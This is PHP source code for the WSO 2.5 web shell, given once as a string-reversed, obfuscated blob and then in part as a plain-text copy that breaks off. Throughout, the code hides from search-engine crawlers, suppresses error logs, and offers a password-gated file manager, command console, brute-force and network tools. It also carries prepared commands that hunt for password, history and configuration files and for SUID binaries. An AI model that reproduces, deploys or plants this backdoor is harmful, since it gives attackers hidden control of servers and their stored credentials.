fi\t\r\n;'' = tuo\$\t\r\n{ )ni\$(xEosw noitcnuf\r\n\r\n} };eslaf nruter{ )p\$(digrgteg_xisop noitcnuf \r\n{ ))eslaf===)'digrgteg_xisop' ,]'snoitcnuf_elbasid'[SLABOLG\$(soprts( && )\"digrgteg_xisop\"(stsixe_noitcnuf!( fi\r\n} };eslaf nruter{ )p\$(diuwpteg_xisop noitcnuf \r\n{ ))eslaf===)'diuwpteg_xisop' ,]'snoitcnuf_elbasid'[SLABOLG\$(soprts( && )\"diuwpteg_xisop\"(stsixe_noitcnuf!( fi\r\n\r\n}\r\n;\">lmth/<>ydob/<>vid/<>elbat/<>rt/<\t\r\n>dt/<> rb<>mrof/<>'>>'=eulav timbus=epyt tupni<>f=eman elif=epyt 'pnIsloot'=ssalc tupni<>rb<elbatirw_si\$>naps/<:elif daolpU>naps<\t\t\r\n>'\" . )'':]'tesrahc'[TSOP_\$?)]'tesrahc'[TSOP_\$(tessi( . \"'=eulav tesrahc=eman neddih=epyt tupni<\t\t\r\n>'eliFdaolpu'=eulav 1p=eman neddih=epyt tupni<\t\t\r\n>'\". ]'dwc'[SLABOLG\$ . \"'=eulav c=eman neddih=epyt tupni<\t\t\r\n>'nAMseliF'=eulav a=eman neddih=epyt tupni<\t\t\r\n>'atad-mrof/trapitlum'=EPYTCNE 'tsop'=dohtem mrof<>dt<\t\t\r\n>dt/<>mrof/<>'>>'=eulav timbus=epyt tupni<>''=eulav c=eman txet=epyt 'pnIsloot'=ssalc tupni<>rb<>naps/<:etucexE>naps<>\"\\;eslaf nruter;)eulav.c.siht,llun,'elosnoC'(g\"\\=timbusno mrof<>dt<\t\t\r\n>rt<>rt/<\t\r\n>dt/<>mrof/<>'>>'=eulav timbus=epyt tupni<>f=eman txet=epyt 'pnIsloot'=ssalc tupni<>rb<elbatirw_si\$>naps/<:elif ekaM>naps<>\"\\;eslaf nruter;)'elifkm',eulav.f.siht,llun,'slooTseliF'(g\"\\=timbusno mrof<>dt<\t\t\r\n>dt/<>mrof/<>'>>'=eulav timbus=epyt tupni<>d=eman txet=epyt 'pnIsloot'=ssalc tupni<>rb<elbatirw_si\$>naps/<:rid ekaM>naps<>\"\\;eslaf nruter;)eulav.d.siht,'ridkm',llun,'naMseliF'(g\"\\=timbusno mrof<>dt<\t\t\r\n>rt<>rt/<\t\r\n>dt/<>mrof/<>'>>'=eulav timbus=epyt tupni<>f=eman txet=epyt 'pnIsloot'=ssalc tupni<>rb<>naps/<:elif daeR>naps<>\"\\;eslaf nruter;)eulav.f.siht,llun,'slooTseliF'(g\"\\=timbusno mrof<>dt<\t\t\r\n>dt/<>mrof/<>'>>'=eulav timbus=epyt tupni<>'\". )]'dwc'[SLABOLG\$(srahclaicepslmth . \"'=eulav c=eman txet=epyt 'pnIsloot'=ssalc tupni<>rb<>naps/<:rid egnahC>naps<>';eslaf nruter;)\"\\\"\\,eulav.c.siht,llun(g'=timbusno mrof<>dt<\t\t\r\n>rt<\t\r\n>';333# dilos xp2:mottob-redrob;333# dilos xp2:pot-redrob'=elyts %001=htdiw 0=gnicapsllec 3=gniddapllec lbTsloot=di ofni=ssalc elbat<\r\n>vid/<\r\n\" ohce \r\n;\">tnof/<)elbatirw toN(>der=roloc tnof< \":\">tnof/<)elbaetirW(>'neerg'=roloc tnof< \"?)]'dwc'[SLABOLG\$(elbatirw_si = elbatirw_si\$\t\r\n{ )(retooFosw noitcnuf\r\n\r\n}\r\n;'>\"5:nigram\"=elyts vid<>elbat/<>rt/<' . unem\$ . '>rt<>%001=htdiw 0=gnicapsllec 3=gniddapllec \";333# dilos xp2:pot-redrob\"=elyts elbat<' . \r\n'>elbat/<>rt/<>dt/<>rbon/<' . ]'RDDA_ETOMER'[REVRES_\$ . '>rb<>naps/<:PI tneilC>naps<>rb<' . ]\"RDDA_REVRES\"[REVRES_\$@ . '>rb<>naps/<:PI revreS>naps<>rb<>tceles/<>puorgtpo/<' . stesrahc_tpo\$ . '>\"tesrahc egaP\"=lebal puorgtpo<>\")eulav.siht,llun,llun,llun,llun,llun(g\"=egnahcno tceles<>rbon<>thgir=ngila 1=htdiw dt<' . \r\n'>dt/<' . sevird\$ . '>rb<>a/<] emoh [>\")'\\'\\,'\\'\\,'\\'\\,'\\' . ]'dwc_emoh'[SLABOLG\$ . ''\\,'\\naMseliF'\\(g\"=kcilcno #=ferh a< ' . )]'dwc'[SLABOLG\$(roloCsmrePosw .' ' . sknil_dwc\$ . '>rb<)%' . )001*ecapSlatot\$/ecapSeerf\$( )tni( .'( ' . )ecapSeerf\$(eziSweiVosw . ' >naps/<:eerF>naps< ' . )ecapSlatot\$(eziSweiVosw . '>rb<' . )'s:i:H d-m-Y'(etad . ' >naps/<:emitetaD>naps< >a/<] ofniphp [>\")'\\ofni'\\,'\\'\\,llun,'\\phP'\\(g\"=kcilcno #=ferh a< ' . \r\n)'>tnof/<>b/<FFO>b<>neerg=roloc tnof<':'>tnof/<NO>der=roloc tnof<'?]'edom_efas'[SLABOLG\$( . ' >naps/<:edom efaS>naps< ' . )(noisrevphp@ . '>rb<) ' . puorg\$ . ' ( ' . dig\$ . ' >naps/<:puorG>naps< ) ' . resu\$ . ' ( ' . diu\$ . '>rb<>rbon/<>a/<]moc.bd-tiolpxe[>knalb_=tegrat \"' . knilpxe\$ . '\"=ferh a< ' . )021 ,0 ,)(emanu_php@(rtsbus . '>rbon<>dt<' . \r\n'>dt/<>naps/<' . )'':':sevirD>rb<'?'niw' == ]'so'[SLABOLG\$( . ':dwC>rb<:ddH>rb<:phP>rb<:resU>rb<:emanU>naps<>1=htdiw dt<>rt<>%001=htdiw 0=gnicapsllec 3=gniddapllec ofni=ssalc elbat<' ohce\t\r\n}\t\r\n;' >a/<] '.evird\$.' [>\")'\\/:'.evird\$.''\\,'\\naMseliF'\\(g\"=kcilcno \"#\"=ferh a<' =. sevird\$\t\t\t\r\n))'\\\\:'.evird\$(rid_si(fi\t\t\r\n)evird\$ sa )'z','c'(egnar(hcaerof\t\t\r\n{ )'niw' == ]'so'[SLABOLG\$(fi\t\r\n;\"\" = sevird\$\t\r\n\r\n;'>ht/<] >a/<'.k\$.'>\")'\\'\\,'\\'\\,'\\'\\,llun,'\\'.v\$.''\\(g\"=kcilcno \"#\"=ferh a< [>\"%'.))m\$(tnuoc/001()tni(.'\"=htdiw ht<' =. unem\$\t\t\r\n)v\$ >= k\$ sa m\$(hcaerof\t\r\n;'' = unem\$\t\r\n;'evomeRfleS' = ]'evomer fleS'[m\$\t\r\n;'tuogoL' = ]'tuogoL'[m\$\t\t\r\n))]'ssap_htua'[SLABOLG\$(ytpme!(fi\t\r\n;)'krowteN'>='krowteN','ecrofeturB'>='ecrofeturB','slooTgnirtS'>='sloot gnirtS','phP'>='phP','lqS'>='lqS','elosnoC'>='elosnoC','naMseliF'>='seliF','ofnIceS'>='ofnI .ceS'(yarra = m\$\t\r\n\r\n;'>noitpo/<'.meti\$.'>'.)'':'detceles'?meti\$==]'tesrahc'[TSOP_\$(.' \"'.meti\$.'\"=eulav noitpo<' =. stesrahc_tpo\$\t\t\r\n)meti\$ sa stesrahc\$(hcaerof\t\r\n;'' = stesrahc_tpo\$\t\r\n;)'668pc' ,'U-8IOK' ,'R-8IOK' ,'1521-swodniW' ,'8-FTU'(yarra = stesrahc\$\t\r\n\r\n}\t\r\n;\">a/</\".]i\$[htap\$.\">')\"\\\" =. sknil_dwc\$\t\t\r\n;'/'.]j\$[htap\$ =. sknil_dwc\$\t\t\t\r\n)++j\$ ;i\$=<j\$ ;0=j\$(rof\t\t\r\n;\"\"\\,\"\\naMseliF\"\\(g'=kcilcno '#'=ferh a<\" =. sknil_dwc\$\t\t\r\n{ )++i\$ ;1-n\$<i\$ ;0=i\$(rof\t\r\n;)htap\$(tnuoc=n\$\t\r\n;)]'dwc'[SLABOLG\$ ,\"/\"(edolpxe = htap\$\t\r\n;'' = sknil_dwc\$\t\r\n\r\n}\t\r\n;]'dig'[dig\$ = dig\$\t\t\r\n;]'eman'[dig\$ = puorg\$\t\t\r\n;]'diu'[diu\$ = diu\$\t\t\r\n;]'eman'[diu\$ = resu\$\t\t\r\n;))(digeteg_xisop(digrgteg_xisop@ = dig\$\t\t\r\n;))(diueteg_xisop(diuwpteg_xisop@ = diu\$\t\t\r\n{ esle }\t\r\n;\"?\" = puorg\$\t\t\r\n;)(digymteg@ = dig\$\t\t\r\n;)(diuymteg@ = diu\$\t\t\r\n;)(resu_tnerruc_teg@ = resu\$\t\t\r\n{ ))'digeteg_xisop'(stsixe_noitcnuf!(fi\t\r\n;))3,0,esaeler\$(rtsbus . ' ' . lenrek\$(edocnelru =. knilpxe\$\t\t\r\nesle\t\r\n;))6,0,esaeler\$(rtsbus . ' lenreK xuniL'(edocnelru =. knilpxe\$\t\t\r\n)eslaf ==! )lenrek\$ ,'xuniL'(soprts(fi\t\r\n;'=noitpircsed_retlif&hcraes=noitca?/hcraes/moc.bd-tiolpxe//:ptth' = knilpxe\$\t\r\n;)'s'(emanu_php@ = lenrek\$\t\r\n;)'r'(emanu_php@ = esaeler\$\t\r\n;1:ecapSlatot\$?ecapSlatot\$ = ecapSlatot\$\t\r\n;)]'dwc'[SLABOLG\$(ecaps_latot_ksid@ = ecapSlatot\$\t\r\n;)]'dwc'[SLABOLG\$(ecapseerfksid@ = ecapSeerf\$\t\r\n;\">mrof/<\r\n>tesrahc=eman neddih=epyt tupni<\r\n>3p=eman neddih=epyt tupni<\r\n>2p=eman neddih=epyt tupni<\r\n>1p=eman neddih=epyt tupni<\r\n>c=eman neddih=epyt tupni<\r\n>a=eman neddih=epyt tupni<\r\n>';enon:yalpsid'=elyts fm=eman tsop=dohtem mrof<\r\n>';0:tfel;0:pot;444#:roloc-dnuorgkcab;%001:htdiw;etulosba:noitisop'=elyts vid<>ydob<>daeh<\r\n>tpircs/<\r\n}\t\r\n;)'!rorre tseuqeR'(trela esle }\t\t\t\r\n;))]1[rra ,0(rtsbus.]2[rra(lave\t\t\t\t\r\n;)txeTesnopser.qer(cexe.ger=rra rav\t\t\t\t\r\n;)'m' ,\"\\)*]s\\\\\\\\S\\\\\\\\[()+d\\\\\\\\(\"\\(pxEgeR wen = ger rav\t\t\t\t\r\n{ )002 == sutats.qer(fi\t\t\t\r\n) )4 == etatSydaer.qer( (fi\t\t\r\n{ )(egnahCqeRssecorp noitcnuf\t\r\n}\t\r\n} \r\n;)smarap(dnes.qer \r\n;)'dedocnelru-mrof-www-x/noitacilppa' ,'epyT-tnetnoC'( redaeHtseuqeRtes.qer \r\n;)eurt ,lru ,'TSOP'(nepo.qer \r\n;egnahCqeRssecorp = egnahcetatsydaerno.qer \r\n{ )qer( fi \r\n;)'PTTHLMX.tfosorciM'(tcejbOXevitcA wen = qer\t\t\t\r\n)tcejbOXevitcA.wodniw( fi esle\t\t\r\n;)(tseuqeRpttHLMX wen = qer\t\t\t\r\n)tseuqeRpttHLMX.wodniw( fi\t\t\r\n{ )smarap ,lru(rs noitcnuf\t\r\n}\t\r\n;)smarap ,'\". )]'IRU_TSEUQER'[REVRES_\$(sehsalsdda . \"'(rs\t\t\r\n;)eulav.]i[stnemele.fm.d(tnenopmoCIRUedocne+'='+eman.]i[stnemele.fm.d+'&' =+ smarap\t\t\t\r\n)++i;htgnel.stnemele.fm.d<i;0=i(rof\t\t\r\n;'eurt=xaja' = smarap rav\t\t\r\n;)tesrahc,3p,2p,1p,c,a(tes\t\t\r\n{ )tesrahc,3p,2p,1p,c,a(a noitcnuf\t\r\n}\t\r\n;)(timbus.fm.d\t\t\r\n;)tesrahc,3p,2p,1p,c,a(tes\t\t\r\n{ )tesrahc,3p,2p,1p,c,a(g noitcnuf\t\r\n}\t\r\n;_tesrahc=eulav.tesrahc.fm.d esle;tesrahc=eulav.tesrahc.fm.d)llun=!tesrahc(fi\t\t\r\n;_3p=eulav.3p.fm.d esle;3p=eulav.3p.fm.d)llun=!3p(fi\t\t\r\n;_2p=eulav.2p.fm.d esle;2p=eulav.2p.fm.d)llun=!2p(fi\t\t\r\n;_1p=eulav.1p.fm.d esle;1p=eulav.1p.fm.d)llun=!1p(fi\t\t\r\n;_c=eulav.c.fm.d esle;c=eulav.c.fm.d)llun=!c(fi\t\t\r\n;_a=eulav.a.fm.d esle;a=eulav.a.fm.d)llun=!a(fi\t\t\r\n{ )tesrahc,3p,2p,1p,c,a(tes noitcnuf\t\r\n;tnemucod = d rav \r\n;'\". ))SETOUQ_TNE,]'3p'[TSOP_\$(srahclaicepslmth:''?)eslaf==!)\"n\\\",]'3p'[TSOP_\$@(soprts(( . \"' = _3p rav \r\n;'\". ))SETOUQ_TNE,]'2p'[TSOP_\$(srahclaicepslmth:''?)eslaf==!)\"n\\\",]'2p'[TSOP_\$@(soprts(( . \"' = _2p rav \r\n;'\". ))SETOUQ_TNE,]'1p'[TSOP_\$(srahclaicepslmth:''?)eslaf==!)\"n\\\",]'1p'[TSOP_\$@(soprts(( . \"' = _1p rav \r\n;'\". )]'tesrahc'[TSOP_\$@(srahclaicepslmth . \"' = _tesrahc rav \r\n'\". )]'a'[TSOP_\$@(srahclaicepslmth . \"' = _a rav \r\n;'\" . )]'dwc'[SLABOLG\$(srahclaicepslmth . \"' = _c rav \r\n>tpircs<\r\n>elyts/<\r\n};ecapsonoM,reiruoC:ylimaf-tnof{erp\r\n}333#:roloc-dnuorgkcab{2l.\r\n}444#:roloc-dnuorgkcab{1l.\r\n}e5e5e5#:roloc-dnuorgkcab{revoh:rt niam.\r\n};e5e5e5#:roloc-dnuorgkcab;tfel:ngila-txet{ht niam.\r\n} xp003 :htdiw {pnIsloot.\r\n} ;retnec:ngila-txet {lbTsloot#\r\n} ;xp0:nigram {mrof\r\n} ;'weN reiruoC',ecapsonoM tp9 :tnof ;roloc\$ dilos xp1:redrob;555#:roloc-dnuorgkcab;fff#:roloc;0:nigram {tceles,aeratxet,tupni\r\n} ;xp003:thgieh;%001:htdiw {aeragib.\r\n} ;otua :wolfrevo;0:nigram;xp5:gniddap;444# dilos xp1:redrob {1lm.\r\n} ;enilrednu:noitaroced-txet {revoh:a\r\n} ;enon:noitaroced-txet {a\r\n} ;333#:roloc-dnuorgkcab;xp5:tfel-nigram;xp5 :gniddap {tnetnoc.vid\r\n} ;xp0:nigram;222#:roloc-dnuorgkcab;anadreV tp41 :tnof;xp5 xp2 :gniddap;roloc\$ dilos xp5:tfel-redrob {1h\r\n} ;redlob :thgiew-tnof {naps\r\n} ;tnatropmi! roloc\$ :roloc {a,1h,naps\r\n} ;222#:roloc-dnuorgkcab;fff#:roloc {ofni.elbat\r\n} ;1e1e1e#:roloc;pot:ngila-lacitrev;0:nigram;anadreV,adicuL tp9 :tnof {ht,dt,ydob\r\n};1e1e1e#:roloc;444#:roloc-dnuorgkcab{ydob\r\n>elyts<\r\n>eltit/<\". NOISREV_OSW . \" OSW - \" . ]'TSOH_PTTH'[REVRES_\$ . \">eltit<>'\" . ]'tesrahc'[TSOP_\$ . \"=tesrahc ;lmth/txet'=tnetnoc 'epyT-tnetnoC'=viuqe-ptth atem<>daeh<>lmth<\" ohce\t\r\n;roloc\$ labolg\t\r\n;]'tesrahc_tluafed'[SLABOLG\$ = ]'tesrahc'[TSOP_\$\t\t\r\n))]'tesrahc'[TSOP_\$(ytpme(fi\t\r\n{ )(redaeHosw noitcnuf\r\n\r\n;)\t\r\n\"virp etacol\" >= \"selif virp etacol\"\t\t\r\n,\"pmud etacol\" >= \"selif pmud etacol\"\t\t\r\n,\"pukcab etacol\" >= \"selif pukcab etacol\"\t\t\r\n,\"'crliamhctef.' etacol\" >= \"selif crliamhctef. etacol\"\t\t\r\n,\"'yrotsih_lqsym.' etacol\" >= \"selif yrotsih_lqsym. etacol\"\t\t\r\n,\"'yrotsih_hsab.' etacol\" >= \"selif yrotsih_hsab. etacol\"\t\t\r\n,\"'dwssapth.' etacol\" >= \"selif dwssapth. etacol\"\t\t\r\n,\"'lqs.' etacol\" >= \"selif lqs. etacol\"\t\t\r\n,\"'dwp.' etacol\" >= \"selif dwp. etacol\"\t\t\r\n,\"'fnoc.' etacol\">=\"selif fnoc. etacol\"\t\t\r\n,\"gifnoc etacol\" >= \" selif *gifnoc etacol\"\t\t\r\n,\"php.tluafed.gifnoc etacol\" >= \"selif php.tluafed.gifnoc etacol\"\t\t\r\n,\"php.cni.gifnoc etacol\" >= \"php.cni.gifnoc etacol\"\t\t\r\n,\"cni.gifnoc etacol\" >= \"selif cni.gifnoc etacol\"\t\t\r\n,\"php.gifnoc etacol\" >= \"selif php.gifnoc etacol\"\t\t\r\n,\"tad.gifnoc etacol\" >= \"selif tad.gifnoc etacol\"\t\t\r\n,\"php.fnoc etacol\" >= \"selif php.fnoc etacol\"\t\t\r\n,\"php.gfc etacol\" >= \"selif php.gfc etacol\"\t\t\r\n,\"php.nimda etacol\">= \"selif php.nimda etacol\"\t\t\r\n,\"fnoc.ym etacol\" >= \"selif fnoc.ym etacol\"\t\t\r\n,\"fnoc.cnbysp etacol\" >= \"selif fnoc.cnbysp etacol\"\t\t\r\n,\"fnoc.dptforp etacol\" >= \"selif fnoc.dptforp etacol\"\t\t\r\n,\"fnoc.stsohv etacol\" >= \"selif fnoc.stsohv etacol\"\t\t\r\n,\"fnoc.dptth etacol\" >= \"selif fnoc.dptth etacol\"\t\t \r\n,\"\" >= \"etacoL\"\t\t\r\n,\"crliamhctef. eman- f epyt- . dnif\" >= \"rid tnerruc ni selif crliamhctef. dnif\"\t\t \r\n,\"crliamhctef. eman- f epyt- / dnif\" >= \"selif crliamhctef. lla dnif\"\t\t \r\n,\"yrotsih_hsab. eman- f epyt- . dnif\" >= \"rid tnerruc ni selif yrotsih_hsab. dnif\"\t\t \r\n,\"yrotsih_hsab. eman- f epyt- / dnif\" >= \"selif yrotsih_hsab. lla dnif\"\t\t \r\n,\"dwssapth. eman- f epyt- . dnif\" >= \"rid tnerruc ni selif dwssapth. dnif\"\t\t \r\n,\"dwssapth. eman- f epyt- / dnif\" >= \"selif dwssapth. lla dnif\"\t\t \r\n,\"dwp.ecivres eman- f epyt- . dnif\" >= \"rid tnerruc ni selif dwp.ecivres dnif\"\t\t \r\n,\"dwp.ecivres eman- f epyt- / dnif\" >= \"selif dwp.ecivres lla dnif\"\t\t \r\n,\"sl- 2- mrep- . dnif\" >= \"rid tnerruc ni selif dna sredlof elbatirw lla dnif\"\t\t \r\n,\"sl- 2- mrep- / dnif\" >= \"selif dna sredlof elbatirw lla dnif\"\t\t \r\n,\"\"\\*gifnoc\"\\ eman- f epyt- . dnif\" >= \"rid tnerruc ni selif *gifnoc dnif\"\t\t \r\n,\"\"\\*gifnoc\"\\ eman- f epyt- / dnif\" >= \"selif *gifnoc dnif\"\t\t \r\n,\"php.cni.gifnoc eman- f epyt- / dnif\" >= \"selif php.cni.gifnoc dnif\"\t\t \r\n,\"sl- 00020- mrep- f epyt- . dnif\" >= \"rid tnerruc ni selif digs dnif\"\t\t \r\n,\"sl- 00020- mrep- f epyt- / dnif\" >= \"selif digs lla dnif\"\t\t \r\n,\"sl- 00040- mrep- f epyt- . dnif\" >= \"rid tnerruc ni selif dius dnif\"\t\t \r\n,\"sl- 00040- mrep- f epyt- / dnif\" >= \"selif dius lla dnif\"\t\t \r\n,\"\" >= \"dniF\"\t\t\r\n,\"xua sp\" >= \"sutats ssecorp\" \r\n,\"netsil i- perg | na- tatsten\" >= \"strop denepo wohs\"\t\t \r\n,\"av- rttasl\" >= \"metsys elif dednetxe dnoces xuniL a no setubirtta elif tsil\"\t\t\r\n,\"ahl- sl\" >= \"rid tsiL\"\t\t \r\n(yarra = sesaila\$\t\r\nesle\r\n;)\t\r\n\"lla/ gifnocpi\" >= \"noitarugifnoC PI\"\t\t\r\n,\"a- pra\" >= \"elbaT PRA\"\t\t\r\n,\"weiv ten\" >= \"sretupmoc wohS\"\t \r\n,\"resu ten\" >= \"stnuocca resU\"\t \r\n,\"trats ten\" >= \"secivres gninnur wohS\"\t \r\n,\"na- tatsten\" >= \"snoitcennoc evitca wohS\"\t \r\n,\"php.*gifnoc* b/ w/ s/ rid\" >= \"rid tnerruc ni php.*gifnoc* dniF\"\t \r\n,\"php.xedni b/ w/ s/ rid\" >= \"rid tnerruc ni php.xedni dniF\"\t \r\n,\"rid\" >= \"yrotceriD tsiL\"\t\t\r\n(yarra = sesaila\$\t\r\n)'niw' == so\$(fi\r\n\r\n;xaja_esu_tluafed\$)loob( = ]'xaja' . )]'TSOH_PTTH'[REVRES_\$(5dm[EIKOOC_\$ \r\n))]'xaja' . )]'TSOH_PTTH'[REVRES_\$(5dm[EIKOOC_\$(tessi!(fi\r\n\r\n;'/' =. dwc\$\t\r\n)'/' =! ]1-)dwc\$(nelrts[dwc\$(fi\r\n}\r\n;)dwc\$ ,\"/\" ,\"\\\\\"(ecalper_rts = dwc\$\t\r\n;)dwc_emoh\$ ,\"/\" ,\"\\\\\"(ecalper_rts = dwc_emoh\$\t\r\n{ )'niw' == so\$(fi\r\n;)(dwcteg@ = dwc\$\r\n;)]'c'[TSOP_\$(ridhc@\t\r\n))]'c'[TSOP_\$(tessi(fi\r\n;)(dwcteg@ = dwc_emoh\$\r\n;)'snoitcnuf_elbasid'(teg_ini@ = snoitcnuf_elbasid\$\r\n\r\n;)0(gnitroper_rorre \r\n)edom_efas\$!(fi\r\n;)'edom_efas'(teg_ini@ = edom_efas\$\r\n\r\n;'xin' = so\$\t\r\nesle\r\n;'niw' = so\$\t\r\n)\"niw\" == ))3,0,SO_PHP(rtsbus(rewolotrts(fi\r\n\r\n}\r\n;)(nigoLosw \r\n))ssap_htua\$ =! ])]'TSOH_PTTH'[REVRES_\$(5dm[EIKOOC_\$( || )])]'TSOH_PTTH'[REVRES_\$(5dm[EIKOOC_\$(tessi!( fi \r\n\r\n;)ssap_htua\$ ,)]'TSOH_PTTH'[REVRES_\$(5dm(eikooctesOSW \r\n))ssap_htua\$ == )]'ssap'[TSOP_\$(5dm( && )]'ssap'[TSOP_\$(tessi(fi \r\n{ ))ssap_htua\$(ytpme!(fi\r\n\r\n}\r\n;)v\$ ,k\$(eikooctes \r\n;v\$ = ]k\$[EIKOOC_\$ \r\n{ )v\$ ,k\$(eikooctesOSW noitcnuf\r\n\r\n}\r\n;)\">erp/<>mrof/<>'>>'=eulav timbus=epyt tupni<>ssap=eman drowssap=epyt tupni< :drowssaP>tsop=dohtem mrof<>retnec=ngila erp<\"(eid\t\r\n{ )(nigoLosw noitcnuf\r\n\r\n}\r\n;)EIKOOC_\$(sehsalspirtsOSW = EIKOOC_\$ \r\n;)TSOP_\$(sehsalspirtsOSW = TSOP_\$\t\r\n}\t\r\n;)yarra\$(sehsalspirts : )yarra\$ ,'sehsalspirtsOSW'(pam_yarra ? )yarra\$(yarra_si nruter\t\t\r\n{ )yarra\$(sehsalspirtsOSW noitcnuf\t\r\n{ ))(cpg_setouq_cigam_teg(fi\r\n\r\n;)'5.2' ,'NOISREV_OSW'(enifed@\r\n;)0(timil_emit_tes@\r\n;)0,'emit_noitucexe_xam'(tes_ini@\r\n;)0,'srorre_gol'(tes_ini@\r\n;)LLUN,'gol_rorre'(tes_ini@\r\n\r\n}\r\n} \r\n;tixe \r\n;)'dnuoF toN 404 0.1/PTTH'(redaeh \r\n{ ))]'TNEGA_RESU_PTTH'[REVRES_\$ ,'i/' . )stnegAresu\$ ,'|'(edolpmi . '/'(hctam_gerp(fi \r\n;)\"relbmaR\" ,\"xednaY\" ,\"revihcra_ai\" ,\"toBNSM\" ,\"prulS\" ,\"elgooG\"(yarra = stnegAresu\$ \r\n{ ))]'TNEGA_RESU_PTTH'[REVRES_\$(ytpme!(fi\r\n\r\n;'1521-swodniW' = tesrahc_tluafed\$\r\n;eurt = xaja_esu_tluafed\$\r\n;'naMseliF' = noitca_tluafed\$\r\n;\"5fd#\" = roloc\$\r\n;\"\" = ssap_htua\$";
$code = @"\$auth_pass = \"\";\n\r\$color = \"#df5\";\n\r\$default_action = 'FilesMan';\n\r\$default_use_ajax = true;\n\r\$default_charset = 'Windows-1251';\n\r\n\rif(!empty(\$_SERVER['HTTP_USER_AGENT'])) {\n\r \$userAgents = array(\"Google\", \"Slurp\", \"MSNBot\", \"ia_archiver\", \"Yandex\", \"Rambler\");\n\r if(preg_match('/' . implode('|', \$userAgents) . '/i', \$_SERVER['HTTP_USER_AGENT'])) {\n\r header('HTTP/1.0 404 Not Found');\n\r exit;\n\r }\n\r}\n\r\n\r@ini_set('error_log',NULL);\n\r@ini_set('log_errors',0);\n\r@ini_set('max_execution_time',0);\n\r@set_time_limit(0);\n\r@define('WSO_VERSION', '2.5');\n\r\n\rif(get_magic_quotes_gpc()) {\n\r\tfunction WSOstripslashes(\$array) {\n\r\t\treturn is_array(\$array) ? array_map('WSOstripslashes', \$array) : stripslashes(\$array);\n\r\t}\n\r\t\$_POST = WSOstripslashes(\$_POST);\n\r \$_COOKIE = WSOstripslashes(\$_COOKIE);\n\r}\n\r\n\rfunction wsoLogin() {\n\r\tdie(\"<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>\");\n\r}\n\r\n\rfunction WSOsetcookie(\$k, \$v) {\n\r \$_COOKIE[\$k] = \$v;\n\r setcookie(\$k, \$v);\n\r}\n\r\n\rif(!empty(\$auth_pass)) {\n\r if(isset(\$_POST['pass']) && (md5(\$_POST['pass']) == \$auth_pass))\n\r WSOsetcookie(md5(\$_SERVER['HTTP_HOST']), \$auth_pass);\n\r\n\r if (!isset(\$_COOKIE[md5(\$_SERVER['HTTP_HOST'])]) || (\$_COOKIE[md5(\$_SERVER['HTTP_HOST'])] != \$auth_pass))\n\r wsoLogin();\n\r}\n\r\n\rif(strtolower(substr(PHP_OS,0,3)) == \"win\")\n\r\t\$os = 'win';\n\relse\n\r\t\$os = 'nix';\n\r\n\r\$safe_mode = @ini_get('safe_mode');\n\rif(!\$safe_mode)\n\r error_reporting(0);\n\r\n\r\$disable_functions = @ini_get('disable_functions');\n\r\$home_cwd = @getcwd();\n\rif(isset(\$_POST['c']))\n\r\t@chdir(\$_POST['c']);\n\r\$cwd = @getcwd();\n\rif(\$os == 'win') {\n\r\t\$home_cwd = str_replace(\"\\\\\", \"/\", \$home_cwd);\n\r\t\$cwd = str_replace(\"\\\\\", \"/\", \$cwd);\n\r}\n\rif(\$cwd[strlen(\$cwd)-1] != '/')\n\r\t\$cwd .= '/';\n\r\n\rif(!isset(\$_COOKIE[md5(\$_SERVER['HTTP_HOST']) . 'ajax']))\n\r \$_COOKIE[md5(\$_SERVER['HTTP_HOST']) . 'ajax'] = (bool)\$default_use_ajax;\n\r\n\rif(\$os == 'win')\n\r\t\$aliases = array(\n\r\t\t\"List Directory\" => \"dir\",\n\r \t\"Find index.php in current dir\" => \"dir /s /w /b index.php\",\n\r \t\"Find *config*.php in current dir\" => \"dir /s /w /b *config*.php\",\n\r \t\"Show active connections\" => \"netstat -an\",\n\r \t\"Show running services\" => \"net start\",\n\r \t\"User accounts\" => \"net user\",\n\r \t\"Show computers\" => \"net view\",\n\r\t\t\"ARP Table\" => \"arp -a\",\n\r\t\t\"IP Configuration\" => \"ipconfig /all\"\n\r\t);\n\relse\n\r\t\$aliases = array(\n\r \t\t\"List dir\" => \"ls -lha\",\n\r\t\t\"list file attributes on a Linux second extended file system\" => \"lsattr -va\",\n\r \t\t\"show opened ports\" => \"netstat -an | grep -i listen\",\n\r \"process status\" => \"ps aux\",\n\r\t\t\"Find\" => \"\",\n\r \t\t\"find all suid files\" => \"find / -type f -perm -04000 -ls\",\n\r \t\t\"find suid files in current dir\" => \"find . -type f -perm -04000 -ls\",\n\r \t\t\"find all sgid files\" => \"find / -type f -perm -02000 -ls\",\n\r \t\t\"find sgid files in current dir\" => \"find . -type f -perm -02000 -ls\",\n\r \t\t\"find config.inc.php files\" => \"find / -type f -name config.inc.php\",\n\r \t\t\"find config* files\" => \"find / -type f -name \\\"config*\\\"\",\n\r \t\t\"find config* files in current dir\" => \"find . -type f -name \\\"config*\\\"\",\n\r \t\t\"find all writable folders and files\" => \"find / -perm -2 -ls\",\n\r \t\t\"find all writable folders and files in current dir\" => \"find . -perm -2 -ls\",\n\r \t\t\"find all service.pwd files\" => \"find / -type f -name service.pwd\",\n\r \t\t\"find service.pwd files in current dir\" => \"find . -type f -name service.pwd\",\n\r \t\t\"find all .htpasswd files\" => \"find / -type f -name .htpasswd\",\n\r \t\t\"find .htpasswd files in current dir\" => \"find . -type f -name .htpasswd\",\n\r \t\t\"find all .bash_history files\" => \"find / -type f -name .bash_history\",\n\r \t\t\"find .bash_history files in current dir\" => \"find . -type f -name .bash_history\",\n\r \t\t\"find all .fetchmailrc files\" => \"find / -type f -name .fetchmailrc\",\n\r \t\t\"find .fetchmailrc files in current dir\" => \"find . -type f -name .fetchmailrc\",\n\r\t\t\"Locate\" => \"\",\n\r \t\t\"locate httpd.conf files\" => \"locate httpd.conf\",\n\r\t\t\"locate vhosts.conf files\" => \"locate vhosts.conf\",\n\r\t\t\"locate proftpd.conf files\" => \"locate proftpd.conf\",\n\r\t\t\"locate psybnc.conf files\" => \"locate psybnc.conf\",\n\r\t\t\"locate my.conf files\" => \"locate my.conf\",\n\r\t\t\"locate admin.php files\" =>\"locate admin.php\",\n\r\t\t\"locate cfg.php files\" => \"locate cfg.php\",\n\r\t\t\"locate conf.php files\" => \"locate conf.php\",\n\r\t\t\"locate config.dat files\" => \"locate config.dat\",\n\r\t\t\"locate config.php files\" => \"locate config.php\",\n\r\t\t\"locate config.inc files\" => \"locate config.inc\",\n\r\t\t\"locate config.inc.php\" => \"locate config.inc.php\",\n\r\t\t\"locate config.default.php files\" => \"locate config.default.php\",\n\r\t\t\"locate config* 